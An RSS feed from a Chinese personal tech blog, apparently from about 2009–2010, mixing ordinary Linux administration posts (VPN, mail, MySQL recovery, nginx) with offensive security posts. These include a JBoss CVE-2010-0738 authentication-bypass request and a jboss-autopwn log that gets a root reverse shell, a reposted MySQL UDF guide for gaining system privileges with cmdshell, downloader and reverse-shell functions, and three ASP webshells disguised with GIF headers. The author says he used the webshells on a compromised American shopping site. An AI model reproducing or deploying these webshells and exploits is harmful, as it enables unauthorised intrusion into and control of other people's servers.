<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[NetKnave 's BLog]]></title> 
<link>http://www.netpk.org/blog/index.php</link> 
<description><![CDATA[黑夜给了我黑色的眼睛,我却用他来寻找美金!]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[NetKnave 's BLog]]></copyright>
<item>
<link>http://www.netpk.org/blog/read.php?530</link>
<title><![CDATA[pptpd VPN服务器多公网IP实现拨入哪个出口为哪个]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Sat, 14 Aug 2010 09:17:58 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?530</guid> 
<description>
<![CDATA[ 
	1. 要配置多公网ip,基本思路是启动多个pptpd进程，分别监听每一个公网IP,并设置不同的ip池段，最后通过snat实现不同网段映射到不同的公网ip<br/><br/>2.设置第一个公网IP<br/>vi /etc/pptpd.conf <br/><br/>localip&nbsp;&nbsp;192.168.20.1<br/>remoteip 192.168.20.2-254<br/>#在最后面添加一行 第一个公网ip<br/>listen 98.0.0.90<br/><br/>添加NAT映射:<br/>iptables&nbsp;&nbsp;-t nat -A POSTROUTING -s 192.168.20.0/24 -j SNAT --to-source 98.0.0.90<br/><br/>3.设置第二个公网IP<br/><br/>cp /etc/pptpd.conf /etc/pptpd1.conf <br/><br/>vi /etc/pptpd1.conf <br/><br/>localip&nbsp;&nbsp;192.168.21.1<br/>remoteip 192.168.21.2-254<br/>#在最后面添加一行 第一个公网ip<br/>listen 98.0.0.91<br/><br/>添加NAT映射:<br/>iptables&nbsp;&nbsp;-t nat -A POSTROUTING -s 192.168.21.0/24 -j SNAT --to-source 98.0.0.91<br/><br/>4.重复3复制配置文件pptpd2.conf,pptpd3.conf.......pptpd[N].conf<br/><br/>5.启动方法：<br/>#pptpd -c /etc/pptpd.conf 这个已经被作为系统服务了<br/>pptpd -c /etc/pptpd1.conf<br/>pptpd -c /etc/pptpd2.conf<br/>pptpd -c /etc/pptpd3.conf<br/>........<br/><br/>pptpd -c /etc/pptpd[N].conf<br/><br/><br/>将以上命令放入初始启动文件中<br/>linux 自动启动服务很简单,最简单的是把启动命令放到/etc/rc.d/rc.local文件里这样就可以每次启动的时候自动启动服务了<br/>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?524</link>
<title><![CDATA[JBoss 居然出这种漏洞 - CVE-2010-0738]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Fri, 28 May 2010 02:38:54 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?524</guid> 
<description>
<![CDATA[ 
	作者：aullik5<br/><br/>刚休假回来，就看到JBOSS爆出的这个漏洞，不过redhat官方已经patch了。很奇怪国内没人关注？<br/><br/>在Redhat 的bugzilla上看到是3月16号报告的，4月27号订正<br/><br/><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0738" target="_blank">CVE-2010-0738</a> 实际上讲的是一个JBoss 的认证绕过漏洞，分析和POC在这里：<br/><br/><a href="http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss-0day.html" target="_blank">Good Bye Critical Jboss 0day</a>需要翻墙<br/><br/>简单来说，就是因为JBOSS在配置HTTP verbs的时候，访问控制的实现有问题，导致如 HEAD等未在配置文件中允许的verb能够直接以 jbossadmin 身份调用 GET handler, 从而绕过认证。<br/><br/>POC如下：<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;HEAD /jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=ikki&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.io.*….... HTTP/1.1<br/><br/>在Blackhat 2010 Europe 上发布的工具 jboss-autopwn，已经能够直接支持这个漏洞的调用了。<br/><br/>有人回帖给出了如下贴图：<br/>[root@foo jboss-autopwn]# ./jboss-autopwn 192.168.1.3 8080<br/>[x] Checking if authentication is enabled..<br/>[!] Authentication enabled!<br/>[x] Proceeding to use CVE-2010-0738 JBoss /jmx-console authentication bypass<br/>[!] Is this a *nix based or Windows based JBoss instance? nix<br/>[!] Which IP should I send the reverse shell to? 192.168.1.2<br/>[!] Which port should I send the reverse shell to? 6669<br/>[x] *nix based selected...<br/>Connection from 192.168.1.3 port 6669 [tcp/*] accepted<br/>[!] you should now have a shell on 192.168.1.2:6669<br/>[root@foo jboss-autopwn]# fg 1<br/>nc -lv 6669<br/>id<br/>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)<br/>uname -a<br/>Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux<br/>^C<br/>[root@foo jboss-autopwn]#<br/><br/>这个漏洞非常严重，因为是默认配置就存在的，受影响的版本建议自查一下。
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?519</link>
<title><![CDATA[CentOS 5 VPS上配置pptpd作为VPN服务器]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Wed, 31 Mar 2010 12:52:18 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?519</guid> 
<description>
<![CDATA[ 
	内核支持<br/>pptpd VPN需要内核支持mppe，我们的VPS自带的内核已经把mppe编译进去了，没有把mppe另外当作内核的模块。<br/><br/>软件安装<br/>要安装pptpd VPN，ppp和iptables这两个软件是必须安装的，安装命令：<br/><br/>yum install -y ppp iptables然后下载pptpd的rpm包：<br/><br/>32位 http://poptop.sourceforge.net/yum/stable/packages/pptpd-1.3.4-1.rhel5.1.i386.rpm<br/>64位 http://poptop.sourceforge.net/yum/stable/packages/pptpd-1.3.4-1.rhel5.1.x86_64.rpm<br/><br/>要注意64位的系统要下载64位的rpm包，32位的系统要下载32位的rpm包，别搞错了<br/><br/>64位系统安装命令：<br/><br/>rpm -ivh pptpd*.x86_64.rpm<br/><br/>32位系统安装命令：<br/><br/>rpm -ivh pptpd*.i386.rpm编辑配置文件 /etc/ppp/options.pptpd 内容如下：<br/><br/>name pptpd<br/>refuse-pap<br/>refuse-chap<br/>refuse-mschap<br/>require-mschap-v2<br/>require-mppe-128<br/>proxyarp<br/>lock<br/>nobsdcomp<br/>novj<br/>novjccomp<br/>nologfd<br/>ms-dns 208.67.222.222<br/>ms-dns 208.67.220.220<br/>编辑配置文件 /etc/pptpd.conf 内容如下：<br/><br/>option /etc/ppp/options.pptpd<br/>logwtmp<br/>localip 192.168.92.1<br/>remoteip 192.168.92.11-15编辑配置文件 /etc/ppp/chap-secrets,配置用户名为johndoe，密码为password，内容如下：<br/><br/>johndoe pptpd password *修改配置文件/etc/sysctl.conf中的相应内容如下：<br/><br/>net.ipv4.ip_forward = 1‘配置iptables:<br/><br/>iptables -t nat -A POSTROUTING -o eth0 -s 192.168.92.0/24 -j MASQUERADE<br/>iptables -I FORWARD -p tcp --syn -i ppp+ -j TCPMSS --set-mss 1356<br/>/etc/init.d/iptables save<br/>/etc/init.d/iptables restart设置iptables和pptpd开机自动启动：<br/><br/>chkconfig pptpd on<br/>chkconfig iptables on<br/><br/>然后运行reboot重新启动即可<br/><br/>PS：不重启的话连上了也上不了网，因为没有开启linux路由转发功能<br/><br/>使用sysctl -p命令使配置即时生效 然后就o了<br/><br/><br/>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?516</link>
<title><![CDATA[卸载360后系统服务加载出错]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Thu, 11 Feb 2010 01:49:50 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?516</guid> 
<description>
<![CDATA[ 
	360还是给我卸了，拿来也就是打个补丁用用<br/>每次打开都让我生级360程序。晕查杀也查不出么名堂。真是蛋疼<br/>卸了。。<br/><br/>卸载后重启，提示某个服务加载出错了，然后进系统之后暴卡。死机了。拔电源<br/>再次重启之后到Event Viewer中看下错误日志<br/><div class="code">Event Type:&nbsp;&nbsp;Error<br/>Event Source:&nbsp;&nbsp;Service Control Manager<br/>Event Category:&nbsp;&nbsp;None<br/>Event ID:&nbsp;&nbsp;7026<br/>Date:&nbsp;&nbsp;&nbsp;&nbsp;2010-02-11<br/>Time:&nbsp;&nbsp;&nbsp;&nbsp;9:13:34<br/>User:&nbsp;&nbsp;&nbsp;&nbsp;N/A<br/>Computer:&nbsp;&nbsp;MICROSOF-609F67<br/>Description:<br/>The following boot-start or system-start driver(s) failed to load: <br/>Packet<br/><br/>For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp.<br/></div><br/><br/>Packet？services中还看不到这个服务<br/><br/>解决办法，直接：sc delete Packet<br/><br/>重启搞定，恢复正常<br/><br/>真蛋疼
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?505</link>
<title><![CDATA[php 里的三种 sendmail_path 设置与发信方式]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Sat, 24 Oct 2009 08:46:42 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?505</guid> 
<description>
<![CDATA[ 
	<br/>php.ini 里的 sendmail_path 默认设置是<br/>sendmail_path = /usr/sbin/sendmail -t -i<br/> <br/>一,如果之前有安装过其它Mail Server 的话，请清除干净。然后才接着下面的步骤<br/>1.SendMail 方式 ：安装好 Sendmail 以后就可以正常使用php的 mail() 发信了,不用怎么特意去设置它。<br/> <br/>2.Exim 方式：<br/>安装exim后，接着使用ln -s /usr/sbin/exim /usr/sbin/sendmai 文件连接指令。 php.ini 里面的 sendmail_path = /usr/sbin/sendmail -t -i 不用设置,就可以使用 mail() 发信了。<br/> <br/>3.PostFix 方式:安装postfix完成后，修改 php.ini 里面的 sendmail_path ，将其设置为: sendmail_path = /usr/sbin/sendmail.postfix -t<br/> <br/>二,启动你的 Mail Server.<br/>1.SendMail 方式： /etc/rc.d/ini.d/sendmail start<br/> <br/>2.Exim 方式： /etc/rc.d/ini.d/exim start<br/> <br/>3.PostFix 方式： /etc/rc.d/ini.d/postfix start<br/> <br/>三,重启你的 Apache<br/>我的是：<br/>/usr/local/apache2/bin/httpd -k restart<br/> <br/>如果你是以 RPM 安装或者是FC系统默认安装的，路径是：<br/>/etc/rc.d/ini.d/httpd -restart<br/><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=php" rel="tag">php</a> , <a href="http://www.netpk.org/blog/tag.php?tag=php.ini" rel="tag">php.ini</a> , <a href="http://www.netpk.org/blog/tag.php?tag=mail" rel="tag">mail</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?504</link>
<title><![CDATA[linux mysql数据库恢复]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Tue, 20 Oct 2009 07:27:07 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?504</guid> 
<description>
<![CDATA[ 
	今天下午上服务器看下数据库顺便备份一下<br/>打开phpmyadmin就顺手点了下用户。看到一个没用的账号就点删除。想删除这个用户<br/>用户删除之后。跑去备份数据库。结果傻眼了。数据库没了。<br/>刚才删用户的时候phpmyadmin下面的"Drop the databases that have the same names as the users. "打了个勾？<br/>TM的。连同数据库一块删了。KAO啊。<br/><br/>找了很多办法，想在linux下恢复数据库的目录。问了很多人。都说无解。主机商也说没办法。我KAO。<br/>无奈之下去看了下my.cnf 结果发现服务器上的二进制日志是开着的。上帝保佑啊<br/><br/>使用mysqlbinlog就可以恢复之前的误删操作了<br/>首先还是在确保二进制日志是开启的<br/><br/>我的日志名设置为binlog.0000XX<br/><br/>先是使用mysqlbinlog将日志文件输出为文本格式来分析一下<br/><br/><div class="code"><br/>/usr/local/web/mysql/bin/mysqlbinlog binlog.000011 &gt; /tmp/11.txt<br/>/usr/local/web/mysql/bin/mysqlbinlog binlog.000012 &gt; /tmp/12.txt<br/>/usr/local/web/mysql/bin/mysqlbinlog binlog.000013 &gt; /tmp/13.txt<br/></div><br/><br/>查看文本发现里面全是用户的操作记录<br/><br/>我在13.txt最底部找到了删除用户的记录<br/><br/>下面来恢复数据库先。首先导入前几个月的备份数据库。<br/><br/>然后慢慢恢复。先恢复前两个二进制日志<br/><br/><div class="code"><br/>/usr/local/web/mysql/bin/mysqlbinlog binlog.000011 &#124;/usr/local/web/mysql/bin/mysql -uroot -p<br/>/usr/local/web/mysql/bin/mysqlbinlog binlog.000012 &#124;/usr/local/web/mysql/bin/mysql -uroot -p<br/></div><br/><br/>现在到第三个日志来了，也就是包含删除用户记录的日志<br/><br/>最尾部<div class="code"><br/># at 3649944<br/>DROP USER &#039;database&#039;@&#039;localhost&#039;</div><br/>位置在 3649944&nbsp;&nbsp;&nbsp;&nbsp;那就恢复第三个日志从开始至3649944的位置。后面的就不管了<br/><br/><div class="code">/usr/local/web/mysql/bin/mysqlbinlog binlog.000013 --stop-pos=3649944 &#124;/usr/local/web/mysql/bin/mysql -uroot -p</div><br/><br/>这样就KO了<br/><br/>假如在删除语句后面还有要恢复的&nbsp;&nbsp;比如3649955行后的数据都要恢复&nbsp;&nbsp; 那就使用--start-pos=3649955<br/><br/><div class="code">/usr/local/web/mysql/bin/mysqlbinlog binlog.000013 --start-pos=3649955 &#124;/usr/local/web/mysql/bin/mysql -uroot -p</div><br/><br/><br/>--stop-pos=600&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //从日志头部至600位置结束<br/>--start-pos=1111&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //人日志1111的位置开始恢复<br/><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=linux" rel="tag">linux</a> , <a href="http://www.netpk.org/blog/tag.php?tag=mysql" rel="tag">mysql</a> , <a href="http://www.netpk.org/blog/tag.php?tag=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593%25E6%2581%25A2%25E5%25A4%258D" rel="tag">数据库恢复</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?503</link>
<title><![CDATA[JavaScript连接数据库]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Sun, 11 Oct 2009 11:50:19 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?503</guid> 
<description>
<![CDATA[ 
	ps:本以为可以借此方法连接限制了IP连接的数据库。因为目标WEB只能执行静态页面。伟大的客户端脚本语言<br/><br/>代码：<br/><div class="code"><br/>&lt;script language=&quot;javascript&quot;&gt;&nbsp;&nbsp;<br/>var conn = new ActiveXObject(&quot;ADODB.Connection&quot;); <br/>//var sqlstr=&quot;Provider=SQLOLEDB.1; Data Source=localhost; User ID=sa;Password=; Initial Catalog=pubs&quot;;<br/>var sqlstr=&quot;Provider=SQLOLEDB;Data Source=localhost;UID=sa;PWD=;database=pubs&quot;;<br/>conn.Open(sqlstr); <br/>var rs = new ActiveXObject(&quot;ADODB.Recordset&quot;); <br/>var sql=&quot;select * from authors&quot;; <br/>rs.open(sql,conn); <br/>shtml = &quot;&lt;table width=&#92;&#039;100%&#92;&#039; border=1&gt;&quot;;&nbsp;&nbsp;&nbsp;&nbsp; <br/>shtml +=&quot;&lt;tr bgcolor=&#92;&#039;#f4f4f4&#92;&#039;&gt;&lt;td&gt;au_id&lt;/td&gt;&lt;td&gt;au_lname&lt;/td&gt;&lt;td&gt;au_fname&lt;/td&gt;&lt;td&gt;phone&lt;/td&gt;&lt;td&gt;address&lt;/td&gt;&lt;td&gt;city&lt;/td&gt;&lt;td&gt;state&lt;/td&gt;&lt;td&gt;zip&lt;/td&gt;&lt;/tr&gt;&quot;;&nbsp;&nbsp;&nbsp;&nbsp; <br/>while(!rs.EOF)&nbsp;&nbsp;&nbsp;&nbsp; <br/>&#123;<br/>shtml +=&quot;&lt;tr&gt;&lt;td&gt;&quot; + rs(&quot;au_id&quot;) + &quot;&lt;/td&gt;&lt;td&gt;&quot; + rs(&quot;au_lname&quot;) + &quot;&lt;/td&gt;&lt;td&gt;&quot; + rs(&quot;au_fname&quot;) + &quot;&lt;/td&gt;&lt;td&gt;&quot; + rs(&quot;phone&quot;) + &quot;&lt;/td&gt;&lt;td&gt;&quot; + rs(&quot;address&quot;) + &quot;&lt;/td&gt;&lt;td&gt;&quot; + rs(&quot;city&quot;) + &quot;&lt;/td&gt;&lt;td&gt;&quot; + rs(&quot;state&quot;) + &quot;&lt;/td&gt;&lt;td&gt;&quot; + rs(&quot;zip&quot;) + &quot;&lt;/td&gt;&lt;/tr&gt;&quot;;&nbsp;&nbsp;&nbsp;&nbsp; <br/>rs.moveNext; <br/>&#125;<br/>shtml +=&nbsp;&nbsp; &quot;&lt;/table&gt;&quot;; <br/>document.write(shtml); <br/>rs.close(); <br/>rs = null; <br/>conn.close(); <br/>conn = null; <br/>&lt;/script&gt;<br/></div><br/><br/>如果执行代码提示"safety settings on this computer prohibit accessing a data source on another domain"<br/><br/>在Internet options中把access data sources across domains设为Enable<br/><br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=javascript" rel="tag">javascript</a> , <a href="http://www.netpk.org/blog/tag.php?tag=%25E8%25BF%259E%25E6%258E%25A5" rel="tag">连接</a> , <a href="http://www.netpk.org/blog/tag.php?tag=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593" rel="tag">数据库</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?497</link>
<title><![CDATA[Nginx 记录]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Sat, 05 Sep 2009 05:02:23 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?497</guid> 
<description>
<![CDATA[ 
	<br/>不停止Nginx服务的情况下平滑变更Nginx配置<br/><br/>vi /usr/local/webserver/nginx/conf/nginx.conf<br/><br/>/usr/local/webserver/nginx/sbin/nginx -t<br/><br/>kill -HUP `cat /usr/local/webserver/nginx/nginx.pid`<br/>Tags - <a href="http://www.netpk.org/blog/tag.php?tag=nginx" rel="tag">nginx</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?492</link>
<title><![CDATA[将MYSQL读写权限转化为system权限]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Sun, 09 Aug 2009 16:15:58 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?492</guid> 
<description>
<![CDATA[ 
	剑心那个mysqlrootkit不能执行提示权限不够？不可能的吧。最后发现是导入udf.dll出错。剑心那个不能自定义导出路径。<br/>langouster_udf.php导入执行命令都OK。转之<br/><br/>--------------------------------哥不是分割线，是寂寞。-----------------------------------<br/><br/>文章作者：langouster<br/>信息来源：邪恶八进制信息安全团队（www.eviloctal.com）<br/><br/>将MYSQL读写权限转化为system权限<br/>一、功能：利用MYSQL的自定义函数功能（再次声明：利用MYSQL UDF提权绝非是溢出，而是MYSQL本身的一个功能），将MYSQL账号转化为系统system权限。<br/>二、适用场合：1.目标系统是Windows(Win2000,XP,Win2003)；2.你已经拥有MYSQL的某个用户账号，此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。<br/>三、使用帮助：<br/>&nbsp;&nbsp;第一步：将PHP文件上传到目标机上，填入你的MYSQL账号经行连接。<br/><a href="http://forum.eviloctal.com/attachments/Mon_0610/10_58654_ff124b823934c9e.bmp" target="_blank"><img src="http://forum.eviloctal.com/attachments/Mon_0610/10_58654_ff124b823934c9e.bmp" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>&nbsp;&nbsp;第二步：连接成功后，导出DLL文件，导出时请勿必注意导出路径（一般情况下对任何目录可写，无需考虑权限问题），对于 MYSQL5.0以上版本，你必须将DLL导出到目标机器的系统目录(win 或 system32)，否则在下一步操作中你会看到"No paths allowed for shared library"错误。 <br/><a href="http://forum.eviloctal.com/attachments/Mon_0610/10_58654_aa2a057fde45256.bmp" target="_blank"><img src="http://forum.eviloctal.com/attachments/Mon_0610/10_58654_aa2a057fde45256.bmp" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>第三步：使用SQL语句创建功能函数。语法：Create Function 函数名（函数名只能为下面列表中的其中之一） returns string soname '导出的DLL路径'；对于MYSQL5.0以上版本，语句中的DLL不允许带全路径，如果你在第二步中已将DLL导出到系统目录，那么你就可以省略路径而使命令正常执行，否则你将会看到"Can't open shared library"错误，这时你必须将DLL重新导出到系统目录。<br/><a href="http://forum.eviloctal.com/attachments/Mon_0610/10_58654_3df1b1f0969de3e.bmp" target="_blank"><img src="http://forum.eviloctal.com/attachments/Mon_0610/10_58654_3df1b1f0969de3e.bmp" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>第四步：正确创建功能函数后，你就可以用SQL语句来使用这些功能了。语法：select 创建的函数名('参数列表')； 每个函数有不同的参数，你可以使用select 创建的函数名('help')；来获得指定函数的参数列表信息。 <br/><a href="http://forum.eviloctal.com/attachments/Mon_0610/10_58654_d29b9164899813b.bmp" target="_blank"><img src="http://forum.eviloctal.com/attachments/Mon_0610/10_58654_d29b9164899813b.bmp" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>四、功能函数说明：<br/>cmdshell 执行cmd;<br/>&nbsp;&nbsp;downloader 下载者,到网上下载指定文件并保存到指定目录;<br/>&nbsp;&nbsp;open3389 通用开3389终端服务,可指定端口(不改端口无需重启);<br/>&nbsp;&nbsp;backshell 反弹Shell;<br/>&nbsp;&nbsp;ProcessView 枚举系统进程;<br/>&nbsp;&nbsp;KillProcess 终止指定进程;<br/>&nbsp;&nbsp;regread 读注册表;<br/>&nbsp;&nbsp;regwrite 写注册表;<br/>&nbsp;&nbsp;shut 关机,注销,重启;<br/>&nbsp;&nbsp;about 说明与帮助函数;<br/><br/><a href="attachment.php?fid=21">点击这里下载文件</a>
]]>
</description>
</item><item>
<link>http://www.netpk.org/blog/read.php?491</link>
<title><![CDATA[我的双功能免杀超强版asp小马]]></title> 
<author>NetKnave &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术文章]]></category>
<pubDate>Sat, 08 Aug 2009 19:31:44 +0000</pubDate> 
<guid>http://www.netpk.org/blog/read.php?491</guid> 
<description>
<![CDATA[ 
	一老美卖商城程序的站，上传一句话不能用明明都解析了的<br/>网上搜了一小马。成功。<br/>小源码又到位了<br/>---------------哥不是分割线，是寂寞。---------------------------<br/>转自网络<br/><br/>第一款：<br/><br/><div class="code"><br/>GIF89a$&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&lt;hTml&gt;<br/>&lt;%eval request(chr(1))%&gt;<br/>&lt;%<br/>on error resume next<br/>testfile=Request.form(&quot;filepath&quot;)<br/>msg=Request.form(&quot;message&quot;)<br/>if Trim(request(&quot;filepath&quot;))&lt;&gt;&quot;&quot; then<br/>set fs=server.CreateObject(&quot;scripting.filesystemobject&quot;)<br/>set thisfile=fs.CreateTextFile(testfile,True)<br/>thisfile.Write(&quot;&quot;&amp;msg&amp; &quot;&quot;)<br/>if err =0 Then<br/>response.write &quot;&lt;font color=red&gt;ok&lt;/font&gt;&quot;<br/>else<br/>response.write &quot;&lt;font color=red&gt;no&lt;/font&gt;&quot;<br/>end if<br/>err.clear<br/>thisfile.close<br/>set fs = nothing<br/>End if<br/>%&gt;<br/>&lt;form method=&quot;POST&quot; ACTION=&quot;&quot;&gt;<br/>&lt;input type=&quot;text&quot; size=&quot;20&quot; name=&quot;filepath&quot;<br/>value=&quot;&lt;%=server.mappath(&quot;go.asp&quot;)%&gt;&quot;&gt; &lt;BR&gt;<br/>&lt;TEXTAREA NAME=&quot;Message&quot; ROWS=&quot;5&quot; COLS=&quot;40&quot;&gt;&lt;/TEXTAREA&gt;<br/>&lt;input type=&quot;submit&quot; name=&quot;Send&quot; value=&quot;go&quot;&gt;<br/>&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;&lt;/body&gt;&lt;/html&gt;<br/></div><br/>第二款：<br/><br/><div class="code">GIF89a$&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&lt;hTml&gt;<br/>&lt;%eval request(chr(1))%&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&lt;% if request(&quot;action&quot;)=&quot;kof97&quot; then %&gt;<br/>&lt;%on error resume next%&gt;<br/>&lt;%ofso=&quot;scripting.filesystemobject&quot;%&gt;<br/>&lt;%set fso=server.createobject(ofso)%&gt;<br/>&lt;%path=request(&quot;path&quot;)%&gt;<br/>&lt;%if path&lt;&gt;&quot;&quot; then%&gt;<br/>&lt;%data=request(&quot;dama&quot;)%&gt;<br/>&lt;%set dama=fso.createtextfile(path,true)%&gt;<br/>&lt;%dama.write data%&gt;<br/>&lt;%if err=0 then%&gt;<br/>&lt;%=&quot;success&quot;%&gt;<br/>&lt;%else%&gt;<br/>&lt;%=&quot;false&quot;%&gt;<br/>&lt;%end if%&gt;<br/>&lt;%err.clear%&gt;<br/>&lt;%end if%&gt;<br/>&lt;%dama.close%&gt;<br/>&lt;%set dama=nothing%&gt;<br/>&lt;%set fos=nothing%&gt;<br/>&lt;%=&quot;&lt;form action=&#039;&#039; method=post&gt;&quot;%&gt;<br/>&lt;%=&quot;&lt;input type=text name=path&gt;&quot;%&gt;<br/>&lt;%=&quot;&lt;br&gt;&quot;%&gt;<br/>&lt;%=server.mappath(request.servervariables(&quot;script_name&quot;))%&gt;<br/>&lt;%=&quot;&lt;br&gt;&quot;%&gt;<br/>&lt;%=&quot;&quot;%&gt;<br/>&lt;%=&quot;&lt;textarea name=dama cols=50 rows=10 width=30&gt;&lt;/textarea&gt;&quot;%&gt;<br/>&lt;%=&quot;&lt;br&gt;&quot;%&gt;<br/>&lt;%=&quot;&lt;input type=submit value=save&gt;&quot;%&gt;<br/>&lt;%=&quot;&lt;/form&gt;&quot;%&gt;<br/>&lt;% end if %&gt;<br/>&lt;/body&gt;&lt;/html&gt;</div><br/><br/>第三款:<br/><br/><div class="code">&lt;%set s=server.createObject(&quot;Adodb.Stream&quot;)%&gt;<br/>&lt;%s.Type=2%&gt;<br/>&lt;%s.Open%&gt;<br/>&lt;%s.CharSet=&quot;gb2312&quot;%&gt;<br/>&lt;%s.writetext request(&quot;d&quot;)%&gt;<br/>&lt;%s.SaveToFile server.mappath(&quot;go.asp&quot;),2%&gt;<br/>&lt;%s.Close%&gt;<br/>&lt;%set s=nothing%&gt;<br/>&lt;form&gt;<br/>&lt;textarea name=d cols=80 rows=10 width=32&gt;&lt;/textarea&gt;<br/>&lt;input type=submit&gt;<br/>&lt;/form&gt;<br/></div><br/>使用说明及介绍:<br/><br/>第一款 功能说明： 用一句话连接进行传马 或直接传马<br/><br/><div class="code">GIF89a$&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&lt;hTml&gt;</div>--[这里的意思相信大家都了解 意思就是 上传图片时起到欺骗的作用.]<br/><br/><div class="code">&lt;%eval request(chr(1))%&gt;</div>--[这是就asp一句话木马 这里的 chr(1) 就是asp一句话木马的密码<br/><br/>那么实际chr(1)= 所以密码为 别说你不知知道<br/><br/>重点来了 当你用这个ASP小马时 你可以用这个asp小马来里面的一句话进行传大马 然也可以直接用这个传大马<br/><br/><br/>这里的go.asp就是上传马的地址了 这个自己可以修改&nbsp;&nbsp; 说的够详细吧<br/><br/>第二款:<br/><br/>同上功能就不说了!<br/><br/><div class="code">&lt;% if request(&quot;action&quot;)=&quot;kof97&quot; then %&gt;</div>相信懂ASP的一看就明白! 也不多说了<br/><br/>用法是 直接在你小马地址后面加上 ?action=kof97 给个例子吧<br/><br/>http://www.xxx.com/xxx.asp?action=kof97 kof97这个改成自己的!在小马里面改<br/><br/>好处就是 当别人直接访问你的小马时 显示的是空白 无法使用你的小马 与要密码的小马差不多<br/><br/>第三款:<br/><br/>可以说是除了ASP一句话小马之外就非它莫属了! 只有两百多个字节<br/><br/><div class="code">&lt;%s.SaveToFile server.mappath(&quot;go.asp&quot;),2%&gt; </div>当你打开小马地址就会自动生成go.asp 修改成自己的<br/><br/>此小马要与 一句话小马 或其它小马 配合使用 当你在在输入框写入我们的马 然后点 提交 会自动生成go.asp 小马地址<br/><br/>好处就是 当别人直接访问你的小马时 不管他提交什么马 他不知道你设置的那个文件地址
]]>
</description>
</item>
</channel>
</rss>